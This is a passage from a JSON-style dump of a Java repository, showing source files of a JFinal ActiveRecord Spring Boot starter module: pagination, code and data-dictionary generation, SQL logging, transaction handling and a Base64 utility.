pageSize);\n\t\tList<Record> list = CPI.find(conn, sql, paras);\n\t\treturn new Page<>(list, pageNumber, pageSize, totalPage, (int) totalRow);\n\t}\n\n\t@Override\n\tpublic boolean isTakeOverModelPaginate() {\n\t\treturn true;\n\t}\n\n\t@Override\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic Page<? extends Model> takeOverModelPaginate(Connection conn, Class<? extends Model> modelClass, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSqlBuilder, Object... paras) throws Exception {\n\t\t// 数据库类型\n\t\tDbType dbType = JdbcUtils.getDbTypeRaw(conn.getMetaData().getURL(), null);\n\t\t// sql\n\t\tString findSql = findSqlBuilder.toString();\n\t\t// 解析 count sql，先转成带 #{0} 的 sql\n\t\tString paramSql = toParamSql(findSql);\n\t\tString countSql = PagerUtils.count(paramSql, dbType);\n\t\t// 解析 count 变量，druid 优化后变量会变\n\t\tObject[] countSqlParams = getCountSqlParams(countSql, paras);\n\t\t// 分页 count 结果\n\t\tList<Object> result = CPI.query(conn, getCountPreSql(countSql), countSqlParams);\n\t\tint size = result.size();\n\t\tlong totalRow = (size > 0) ? ((Number) result.get(0)).longValue() : 0;\n\t\tif (totalRow == 0) {\n\t\t\treturn new Page<>(new ArrayList<>(0), pageNumber, pageSize, 0, 0);\n\t\t}\n\t\tint totalPage = (int) (totalRow / pageSize);\n\t\tif (totalRow % pageSize != 0) {\n\t\t\ttotalPage++;\n\t\t}\n\t\tif (pageNumber > totalPage) {\n\t\t\treturn new Page<>(new ArrayList<>(0), pageNumber, pageSize, totalPage, (int) totalRow);\n\t\t}\n\t\t// --------\n\t\tString sql = PagerUtils.limit(findSql, dbType, pageNumber, pageSize);\n\t\tList<Model> list = find(conn, modelClass, sql, paras);\n\t\treturn new Page<>(list, pageNumber, pageSize, totalPage, (int) totalRow);\n\t}\n\n\t/**\n\t * Find model.\n\t * <p>\n\t * 警告：传入的 Connection 参数需要由传入者在 try finally 块中自行\n\t * 关闭掉，否则将出现 Connection 资源不能及时回收的问题\n\t */\n\tprotected <M> List<M> find(Connection conn, Class<? extends Model> modelClass, String sql, Object... paras) throws Exception {\n\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\tfillStatement(pst, paras);\n\t\t\tResultSet rs = pst.executeQuery();\n\t\t\tList<M> result = buildModelList(rs, modelClass);\n\t\t\tJdbcUtils.close(rs);\n\t\t\treturn result;\n\t\t}\n\t}\n\n\tpublic static String toParamSql(String sql) {\n\t\tStringBuilder sb = new StringBuilder((int) (sql.length() * 1.1));\n\t\tint cursor = 0;\n\t\tfor (int start, index = 0; (start = sql.indexOf(CharPool.QUESTION_MARK, cursor)) != -1; ) {\n\t\t\tsb.append(sql, cursor, start);\n\t\t\tsb.append(\"#{\").append(index).append('}');\n\t\t\tcursor = start + 1;\n\t\t\tindex++;\n\t\t}\n\t\tsb.append(sql.substring(cursor));\n\t\treturn sb.toString();\n\t}\n\n\tpublic static Object[] getCountSqlParams(String sql, Object[] paras) {\n\t\tList<Object> params = new ArrayList<>();\n\t\tint cursor = 0;\n\t\tint index = 0;\n\t\tint parasLength = paras.length;\n\t\tfor (int start, end; (start = sql.indexOf(\"#{\", cursor)) != -1 && (end = sql.indexOf(CharPool.RIGHT_BRACE, start)) != -1 && index < parasLength; ) {\n\t\t\tString paramIdx = sql.substring(start + 2, end);\n\t\t\tparams.add(paras[NumberUtil.binaryToInt(paramIdx)]);\n\t\t\tcursor = end + 1;\n\t\t\tindex++;\n\t\t}\n\t\treturn params.toArray();\n\t}\n\n\t/**\n\t * 获取 count sql\n\t * @param paramSql 参数 sql\n\t * @return sql\n\t */\n\tpublic static String getCountPreSql(String paramSql) {\n\t\treturn paramSql.replaceAll(\"#\\\\{\\\\w}\", \"?\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/generator/CodeGenerator.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.generator;\n\nimport com.jfinal.kit.StrKit;\nimport com.jfinal.plugin.activerecord.generator.Generator;\nimport com.jfinal.plugin.activerecord.generator.MappingKitGenerator;\nimport com.jfinal.plugin.activerecord.generator.TableMeta;\nimport com.jfinal.plugin.druid.DruidPlugin;\nimport io.github.wujun728.activerecord.utils.StringPool;\nimport org.springframework.util.Assert;\n\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.util.List;\n\n/**\n * CodeGenerator\n *\n * \n */\npublic class CodeGenerator extends Generator {\n\tprivate final String outputDir;\n\tprivate final boolean openDir;\n\n\tprivate CodeGenerator(DataSource dataSource,\n\t\t\t\t\t\t  String baseModelPackageName,\n\t\t\t\t\t\t  String baseModelOutputDir,\n\t\t\t\t\t\t  String modelPackageName,\n\t\t\t\t\t\t  String modelOutputDir,\n\t\t\t\t\t\t  boolean openDir) {\n\t\tsuper(dataSource, baseModelPackageName, baseModelOutputDir, modelPackageName, modelOutputDir);\n\t\tthis.outputDir = modelOutputDir;\n\t\tthis.openDir = openDir;\n\t}\n\n\t@Override\n\tpublic void generate() {\n\t\tsuper.generate();\n\t\t// 完成后打开\n\t\tif (openDir) {\n\t\t\topen(outputDir);\n\t\t}\n\t}\n\n\tpublic static CodeGeneratorBuilder create() {\n\t\treturn new CodeGeneratorBuilder();\n\t}\n\n\t/**\n\t * 打开文件或者目录\n\t */\n\tprivate static void open(String outDir) {\n\t\tif (StrKit.notBlank(outDir)) {\n\t\t\ttry {\n\t\t\t\tString osName = System.getProperty(\"os.name\");\n\t\t\t\tif (osName != null) {\n\t\t\t\t\tif (osName.contains(\"Mac\")) {\n\t\t\t\t\t\tRuntime.getRuntime().exec(new String[]{\"open \" + outDir});\n\t\t\t\t\t} else if (osName.contains(\"Windows\")) {\n\t\t\t\t\t\tRuntime.getRuntime().exec(new String[]{\"cmd /c start \" + outDir});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static String getModelTemplatePath() {\n\t\treturn StringPool.SLASH + CodeGenerator.class.getPackage().getName()\n\t\t\t.replace(StringPool.DOT, StringPool.SLASH)\n\t\t\t.concat(\"/model_template.jf\");\n\t}\n\n\tpublic static class EmptyMappingKitGenerator extends MappingKitGenerator {\n\t\tprivate static final String DEFAULT_PKG = \"net.dreamlu.mica\";\n\t\tpublic static final EmptyMappingKitGenerator INSTANCE = new EmptyMappingKitGenerator();\n\n\t\tprivate EmptyMappingKitGenerator() {\n\t\t\tsuper(DEFAULT_PKG, DEFAULT_PKG);\n\t\t}\n\n\t\t@Override\n\t\tpublic void generate(List<TableMeta> tableMetas) {\n\n\t\t}\n\t}\n\n\tpublic static class CodeGeneratorBuilder {\n\t\tprivate String url;\n\t\tprivate String username;\n\t\tprivate String password;\n\t\tprivate String basePackageName;\n\t\tprivate String outputDir;\n\t\tprivate boolean openDir = false;\n\n\t\tpublic CodeGeneratorBuilder url(String url) {\n\t\t\tthis.url = url;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic CodeGeneratorBuilder username(String username) {\n\t\t\tthis.username = username;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic CodeGeneratorBuilder password(String password) {\n\t\t\tthis.password = password;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic CodeGeneratorBuilder basePackageName(String basePackageName) {\n\t\t\tthis.basePackageName = basePackageName;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic CodeGeneratorBuilder outputDir(String outputDir) {\n\t\t\tthis.outputDir = outputDir;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic CodeGeneratorBuilder openDir() {\n\t\t\tthis.openDir = true;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic CodeGenerator build() {\n\t\t\tAssert.hasText(url, \"代码生成数据库 url 为空\");\n\t\t\tAssert.hasText(username, \"代码生成数据库 username 为空\");\n\t\t\tAssert.hasText(password, \"代码生成数据库 password 为空\");\n\t\t\tAssert.hasText(basePackageName, \"代码生成 basePackageName 为空\");\n\t\t\tAssert.hasText(outputDir, \"代码生成 outputDir 为空\");\n\t\t\tString codeOutputDir = outputDir + \"/src/main/java/\" + basePackageName.replace(StringPool.DOT, StringPool.SLASH);\n\t\t\t// model 所使用的包名 (MappingKit 默认使用的包名)\n\t\t\tString modelPackageName = basePackageName + \".model\";\n\t\t\t// model 文件保存路径 (MappingKit 与 DataDictionary 文件默认保存路径)\n\t\t\tString modelOutputDir = codeOutputDir + \"/model\";\n\t\t\t// base model 所使用的包名\n\t\t\tString baseModelPackageName = modelPackageName + \".base\";\n\t\t\t// base model 文件保存路径\n\t\t\tString baseModelOutputDir = modelOutputDir + \"/base\";\n\t\t\t// 创建生成器\n\t\t\tDataSource dataSource = getDataSource();\n\t\t\tCodeGenerator generator = new CodeGenerator(dataSource, baseModelPackageName, baseModelOutputDir, modelPackageName, modelOutputDir, openDir);\n\t\t\tgenerator.setModelTemplate(CodeGenerator.getModelTemplatePath());\n\t\t\tgenerator.setDataDictionaryGenerator(new DataDictionaryGenerator(dataSource, modelOutputDir));\n\t\t\tgenerator.setMappingKitGenerator(EmptyMappingKitGenerator.INSTANCE);\n\t\t\t// 配置是否生成备注\n\t\t\tgenerator.setGenerateRemarks(true);\n\t\t\t// 设置是否生成字典文件\n\t\t\tgenerator.setGenerateDataDictionary(true);\n\t\t\treturn generator;\n\t\t}\n\n\t\tprivate DataSource getDataSource() {\n\t\t\tDruidPlugin druidPlugin = new DruidPlugin(url, username, password);\n\t\t\tdruidPlugin.start();\n\t\t\treturn druidPlugin.getDataSource();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/generator/DataDictionaryGenerator.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.generator;\n\nimport com.jfinal.kit.StrKit;\nimport com.jfinal.plugin.activerecord.generator.ColumnMeta;\nimport com.jfinal.plugin.activerecord.generator.TableMeta;\n\nimport javax.sql.DataSource;\n\n/**\n * 数据字典生成\n *\n * \n */\npublic class DataDictionaryGenerator extends com.jfinal.plugin.activerecord.generator.DataDictionaryGenerator {\n\n\tpublic DataDictionaryGenerator(DataSource dataSource, String dataDictionaryOutputDir) {\n\t\tsuper(dataSource, dataDictionaryOutputDir);\n\t\tsetDataDictionaryFileName(\"DataDictionary.md\");\n\t}\n\n\t/**\n\t * 重写掉生成换行\n\t */\n\t@Override\n\tprotected String genSeparateLine(TableMeta tm) {\n\t\treturn \"\";\n\t}\n\n\t@Override\n\tprotected void generateTable(TableMeta tableMeta, StringBuilder ret) {\n\t\tret.append(\"Table: \").append(tableMeta.name);\n\t\tif (StrKit.notBlank(tableMeta.remarks)) {\n\t\t\tret.append(\"（\").append(clearBlank(tableMeta.remarks)).append(\"）\");\n\t\t}\n\t\tret.append(\"\\n\");\n\n\t\tString separateLine = genSeparateLine(tableMeta);\n\t\tret.append(separateLine);\n\t\tgenTableHead(tableMeta, ret);\n\t\tret.append(separateLine);\n\t\tfor (ColumnMeta columnMeta : tableMeta.columnMetas) {\n\t\t\tgenColumn(tableMeta, columnMeta, ret);\n\t\t}\n\t\tret.append(separateLine);\n\t\tret.append(\"\\n\");\n\t}\n\n\t/**\n\t * 表头\n\t */\n\t@Override\n\tprotected void genTableHead(TableMeta tm, StringBuilder ret) {\n\t\tret.append('\\n').append('|');\n\t\tgenCell(tm.colNameMaxLen, \" \", \"Field\", \" \", \"|\",  ret);\n\t\tgenCell(tm.colTypeMaxLen, \" \", \"Type\", \" \", \"|\", ret);\n\t\tgenCell(\"Null\".length(), \" \", \"Null\",  \" \",\"|\", ret);\n\t\tgenCell(\"Key\".length(), \" \", \"Key\",  \" \",\"|\", ret);\n\t\tgenCell(tm.colDefaultValueMaxLen, \" \", \"Default\", \" \", \"|\", ret);\n\t\tgenCell(\"Remarks\".length(), \" \", \"Remarks\", \" \", \"|\", ret);\n\t\tret.append('\\n').append('|');\n\t\tgenCell(tm.colNameMaxLen, \" \", \"-\", \"-\", \"|\",  ret);\n\t\tret.replace(ret.length() - 2, ret.length() - 1, \" \");\n\t\tgenCell(tm.colTypeMaxLen, \" \", \"-\", \"-\", \"|\", ret);\n\t\tret.replace(ret.length() - 2, ret.length() - 1, \" \");\n\t\tgenCell(\"Null\".length(), \" \", \"-\",  \"-\",\"|\", ret);\n\t\tret.replace(ret.length() - 2, ret.length() - 1, \" \");\n\t\tgenCell(\"Key\".length(), \" \", \"-\",  \"-\",\"|\", ret);\n\t\tret.replace(ret.length() - 2, ret.length() - 1, \" \");\n\t\tgenCell(tm.colDefaultValueMaxLen, \" \", \"-\", \"-\", \"|\", ret);\n\t\tret.replace(ret.length() - 2, ret.length() - 1, \" \");\n\t\tgenCell(\"Remarks\".length(), \" \", \"-\", \"-\", \"|\", ret);\n\t\tret.replace(ret.length() - 2, ret.length() - 1, \" \");\n\t\tret.append('\\n');\n\t}\n\n\t/**\n\t * 列\n\t */\n\t@Override\n\tprotected void genColumn(TableMeta tableMeta, ColumnMeta columnMeta, StringBuilder ret) {\n\t\tret.append('|');\n\t\tgenCell(tableMeta.colNameMaxLen, \" \", columnMeta.name, \" \", \"|\",  ret);\n\t\tgenCell(tableMeta.colTypeMaxLen, \" \", columnMeta.type, \" \", \"|\", ret);\n\t\tgenCell(\"Null\".length(), \" \", columnMeta.isNullable, \" \", \"|\", ret);\n\t\tgenCell(\"Key\".length(), \" \", columnMeta.isPrimaryKey, \" \", \"|\", ret);\n\t\tgenCell(tableMeta.colDefaultValueMaxLen, \" \", columnMeta.defaultValue, \" \", \"|\", ret);\n\t\tgenCell(\"Remarks\".length(), \" \", clearBlank(columnMeta.remarks), \" \", \"|\", ret);\n\t\tret.append(\"\\n\");\n\t}\n\n\t/**\n\t * 清除注释中的空白符\n\t */\n\tprivate String clearBlank(String str) {\n\t\treturn str.replaceAll(\"[ |\\t|\\n]+\", \"\");\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/generator/model_template.jf",
    "content": "package #(modelPackageName);\n\nimport #(baseModelPackageName).#(tableMeta.baseModelName);\nimport annotation.io.github.wujun728.activerecord.TableName;\n\n/**\n * Generated by JFinal.\n */\n@TableName(value = \"#(tableMeta.name)\", primaryKey = \"#(tableMeta.primaryKey)\")\npublic class #(tableMeta.modelName) extends #(tableMeta.baseModelName)<#(tableMeta.modelName)> {\n\t#if (generateDaoInModel)\n\tpublic static final #(tableMeta.modelName) dao = new #(tableMeta.modelName)().dao();\n\t#else\n\n\t#end\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/jackson/ActiveRecordModule.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.jackson;\n\nimport com.fasterxml.jackson.databind.Module;\nimport com.fasterxml.jackson.databind.module.SimpleModule;\nimport com.jfinal.plugin.activerecord.Record;\nimport net.dreamlu.mica.auto.annotation.AutoService;\n\n/**\n * jFinal ActiveRecord jackson Module\n *\n * <p>\n *     说明：\n *     1. Model 通过 get set 方法序列化和反序列化\n *     2. Record 使用自定义的序列化方式解决\n * </p>\n *\n * \n */\n@AutoService(Module.class)\npublic class ActiveRecordModule extends SimpleModule {\n\n\tpublic ActiveRecordModule() {\n\t\tsuper(ActiveRecordModule.class.getName());\n\t\tSystem.out.println(\" @AutoService  ActiveRecordModule\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/logger/SqlLogFilter.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.logger;\n\nimport com.alibaba.druid.DbType;\nimport com.alibaba.druid.filter.FilterChain;\nimport com.alibaba.druid.filter.FilterEventAdapter;\nimport com.alibaba.druid.proxy.jdbc.JdbcParameter;\nimport com.alibaba.druid.proxy.jdbc.ResultSetProxy;\nimport com.alibaba.druid.proxy.jdbc.StatementProxy;\nimport com.alibaba.druid.sql.SQLUtils;\nimport com.alibaba.druid.util.StringUtils;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport io.github.wujun728.activerecord.config.JunDruidProperties;\n//import net.dreamlu.mica.core.utils.StringUtil;\n\nimport java.sql.SQLException;\nimport java.time.temporal.TemporalAccessor;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.regex.Pattern;\n\n/**\n * 打印可执行的 sql 日志\n *\n * <p>\n * 参考：<a href=\"https://jfinal.com/share/2204\">https://jfinal.com/share/2204</a>\n * </p>\n *\n * \n */\n@Slf4j\n@RequiredArgsConstructor\npublic class SqlLogFilter extends FilterEventAdapter {\n\tprivate static final SQLUtils.FormatOption FORMAT_OPTION = new SQLUtils.FormatOption(false, false);\n\tprivate final JunDruidProperties properties;\n\tprivate final List<Pattern> showSqlPatternList;\n\n\t@Override\n\tprotected void statementExecuteBefore(StatementProxy statement, String sql) {\n\t\tstatement.setLastExecuteStartNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteBatchBefore(StatementProxy statement) {\n\t\tstatement.setLastExecuteStartNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteUpdateBefore(StatementProxy statement, String sql) {\n\t\tstatement.setLastExecuteStartNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteQueryBefore(StatementProxy statement, String sql) {\n\t\tstatement.setLastExecuteStartNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteAfter(StatementProxy statement, String sql, boolean firstResult) {\n\t\tstatement.setLastExecuteTimeNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteBatchAfter(StatementProxy statement, int[] result) {\n\t\tstatement.setLastExecuteTimeNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteQueryAfter(StatementProxy statement, String sql, ResultSetProxy resultSet) {\n\t\tstatement.setLastExecuteTimeNano();\n\t}\n\n\t@Override\n\tprotected void statementExecuteUpdateAfter(StatementProxy statement, String sql, int updateCount) {\n\t\tstatement.setLastExecuteTimeNano();\n\t}\n\n\t@Override\n\tpublic void statement_close(FilterChain chain, StatementProxy statement) throws SQLException {\n\t\t// 先调用父类关闭 statement\n\t\tsuper.statement_close(chain, statement);\n\t\t// 支持动态关闭\n\t\tif (!properties.isShowSql()) {\n\t\t\treturn;\n\t\t}\n\t\t// 是否开启调试\n\t\tif (!log.isInfoEnabled()) {\n\t\t\treturn;\n\t\t}\n\t\t// 打印可执行的 sql\n\t\tString sql = statement.getBatchSql();\n\t\t// sql 为空直接返回\n\t\tif (StringUtils.isEmpty(sql)) {\n\t\t\treturn;\n\t\t}\n\t\tboolean isSqlMatch = showSqlPatternList.stream()\n\t\t\t.anyMatch(pattern -> pattern.matcher(sql).matches());\n\t\tif (!isSqlMatch) {\n\t\t\tlog.debug(\"sql:{} not match in SqlPatternList:{}\", sql, properties.getShowSqlPatterns());\n\t\t\treturn;\n\t\t}\n\t\tint parametersSize = statement.getParametersSize();\n\t\tList<Object> parameters = new ArrayList<>(parametersSize);\n\t\tfor (int i = 0; i < parametersSize; ++i) {\n\t\t\t// 转换参数，处理 java8 时间\n\t\t\tparameters.add(getJdbcParameter(statement.getParameter(i)));\n\t\t}\n\t\tString dbType = statement.getConnectionProxy().getDirectDataSource().getDbType();\n\t\tString formattedSql = SQLUtils.format(sql, DbType.of(dbType), parameters, FORMAT_OPTION);\n\t\tprintSql(formattedSql, statement);\n\t}\n\n\tprivate static Object getJdbcParameter(JdbcParameter jdbcParam) {\n\t\tif (jdbcParam == null) {\n\t\t\treturn null;\n\t\t}\n\t\tObject value = jdbcParam.getValue();\n\t\t// 处理 java8 时间\n\t\tif (value instanceof TemporalAccessor) {\n\t\t\treturn value.toString();\n\t\t}\n\t\treturn value;\n\t}\n\n\tprivate static void printSql(String sql, StatementProxy statement) {\n\t\t// 打印 sql\n\t\tString sqlLogger = \"\\n\\n======= Sql Logger ======================\" +\n\t\t\t\"\\n{}\" +\n\t\t\t\"\\n======= Sql Execute Time: {} =======\\n\";\n\t\tlog.info(sqlLogger, sql.trim()/*, StringUtil.format(statement.getLastExecuteTimeNano())*/);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/tx/ActiveRecordTxAspect.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.tx;\n\nimport com.jfinal.kit.LogKit;\nimport com.jfinal.plugin.activerecord.ActiveRecordException;\nimport com.jfinal.plugin.activerecord.Config;\nimport com.jfinal.plugin.activerecord.DbKit;\nimport com.jfinal.plugin.activerecord.NestedTransactionHelpException;\nimport com.jfinal.plugin.activerecord.tx.TxConfig;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.reflect.MethodSignature;\n\nimport java.lang.reflect.Method;\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\n/**\n * jfinal 事务 aop\n *\n * \n */\n@Aspect\npublic class ActiveRecordTxAspect {\n\n\t@Around(\"@annotation(tx)\")\n\tpublic Object doAround(ProceedingJoinPoint point, Tx tx) throws Throwable {\n\t\tObject retVal = null;\n\t\tConfig config = getConfigWithTxConfig(point);\n\t\tConnection conn = config.getThreadLocalConnection();\n\t\t// Nested transaction support\n\t\tif (conn != null) {\n\t\t\ttry {\n\t\t\t\tif (conn.getTransactionIsolation() < getTransactionLevel(config)) {\n\t\t\t\t\tconn.setTransactionIsolation(getTransactionLevel(config));\n\t\t\t\t}\n\t\t\t\tretVal = point.proceed();\n\t\t\t\treturn retVal;\n\t\t\t} catch (SQLException e) {\n\t\t\t\tthrow new ActiveRecordException(e);\n\t\t\t}\n\t\t}\n\t\tBoolean autoCommit = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tautoCommit = conn.getAutoCommit();\n\t\t\tconfig.setThreadLocalConnection(conn);\n\t\t\tconn.setTransactionIsolation(getTransactionLevel(config));\n\t\t\tconn.setAutoCommit(false);\n\t\t\tretVal = point.proceed();\n\t\t\tconn.commit();\n\t\t} catch (NestedTransactionHelpException e) {\n\t\t\tif (conn != null) {\n\t\t\t\ttry {\n\t\t\t\t\tconn.rollback();\n\t\t\t\t} catch (SQLException e1) {\n\t\t\t\t\tLogKit.error(e1.getMessage(), e1);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Throwable t) {\n\t\t\tif (conn != null) {\n\t\t\t\ttry {\n\t\t\t\t\tconn.rollback();\n\t\t\t\t} catch (SQLException e1) {\n\t\t\t\t\tLogKit.error(e1.getMessage(), e1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tthrow new RuntimeException();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (conn != null) {\n\t\t\t\t\tif (autoCommit != null) {\n\t\t\t\t\t\tconn.setAutoCommit(autoCommit);\n\t\t\t\t\t}\n\t\t\t\t\tconn.close();\n\t\t\t\t}\n\t\t\t} catch (SQLException t) {\n\t\t\t\t// can not throw exception here, otherwise the more important exception in previous catch block can not be thrown\n\t\t\t\tLogKit.error(t.getMessage(), t);\n\t\t\t} finally {\n\t\t\t\t// prevent memory leak\n\t\t\t\tconfig.removeThreadLocalConnection();\n\t\t\t}\n\t\t}\n\t\treturn retVal;\n\t}\n\n\t/**\n\t * 获取配置的事务级别\n\t *\n\t * @param config Config\n\t * @return TransactionLevel\n\t */\n\tprivate static int getTransactionLevel(Config config) {\n\t\treturn config.getTransactionLevel();\n\t}\n\n\t/**\n\t * 获取配置的TxConfig，可注解到class或者方法上\n\t *\n\t * @param pjp ProceedingJoinPoint\n\t * @return Config\n\t */\n\tprivate static Config getConfigWithTxConfig(ProceedingJoinPoint pjp) {\n\t\tMethodSignature ms = (MethodSignature) pjp.getSignature();\n\t\tMethod method = ms.getMethod();\n\t\tTxConfig txConfig = method.getAnnotation(TxConfig.class);\n\t\tif (txConfig == null) {\n\t\t\ttxConfig = pjp.getTarget().getClass().getAnnotation(TxConfig.class);\n\t\t}\n\t\tif (txConfig != null) {\n\t\t\tConfig config = DbKit.getConfig(txConfig.value());\n\t\t\tif (config == null) {\n\t\t\t\tthrow new IllegalArgumentException(\"Config not found with @TxConfig: \" + txConfig.value());\n\t\t\t}\n\t\t\treturn config;\n\t\t}\n\t\treturn DbKit.getConfig();\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/tx/Tx.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.tx;\n\nimport java.lang.annotation.*;\n\n/**\n * 事务 aop 注解\n *\n * \n */\n@Target({ElementType.TYPE, ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\n@Inherited\n@Documented\npublic @interface Tx {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/utils/Base64Util.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.utils;\n\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Base64;\n\n/**\n * Base64工具\n *\n * \n */\npublic class Base64Util {\n\tpublic static final Base64.Encoder ENCODER = Base64.getEncoder();\n\tpublic static final Base64.Encoder URL_ENCODER = Base64.getUrlEncoder();\n\tpublic static final Base64.Decoder DECODER = Base64.getDecoder();\n\tpublic static final Base64.Decoder URL_DECODER = Base64.getUrlDecoder();\n\n\t/**\n\t * 编码\n\t *\n\t * @param value 字符串\n\t * @return {String}\n\t */\n\tpublic static String encode(String value) {\n\t\treturn encode(value, StandardCharsets.UTF_8);\n\t}\n\n\t/**\n\t * 编码\n\t *\n\t * @param value   字符串\n\t * @param charset 字符集\n\t * @return {String}\n\t */\n\tpublic static String encode(String value, Charset charset) 